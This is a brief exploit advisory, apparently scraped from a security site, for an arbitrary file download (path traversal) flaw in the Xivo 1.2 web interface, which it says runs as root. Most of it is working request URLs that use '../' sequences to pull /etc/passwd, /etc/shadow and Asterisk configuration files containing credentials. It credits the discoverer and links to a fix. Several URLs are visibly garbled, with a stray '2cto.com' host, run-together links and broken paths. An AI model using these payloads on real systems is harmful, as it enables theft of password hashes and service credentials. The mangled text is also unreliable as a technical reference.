Xivo 1.2 Arbitrary File Download

Xivo 1.2 Arbitrary File Download under root privileges Author: Mr. Un1k0d3r developer: https://wiki.xivo.fr : https://wiki.xivo.fr /Index. php/XiVO_1.1-Gallifrey/Install_XiVO_With_CD impact version: 1.2 (last patched version) test version: Linux xivo 2.6.32-5-486 test exploitation: Using the web interface you can download any file from the system. the web application is running under root privileges. you can download clear text password,/etc/passwd,/etc/shadow and more... usage: https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/passwdhttps:// Www.2cto.com/xivo/configuration/index. php/manage/certificate /? Act = export & id =.../etc/shadow https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/manager.confhttps://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/cel_pgsql.conf Defect discoverer Mr. Un1k0d3r From RingZer0 Team. Note: This appears to have been fixed https://projects.xivo.fr/issues/3912http://git.xivo.fr/?p=official/xivo-skaro.git;a=commit;h=127ab43e6d8e8ed94f16ff388fb62fd611a40e19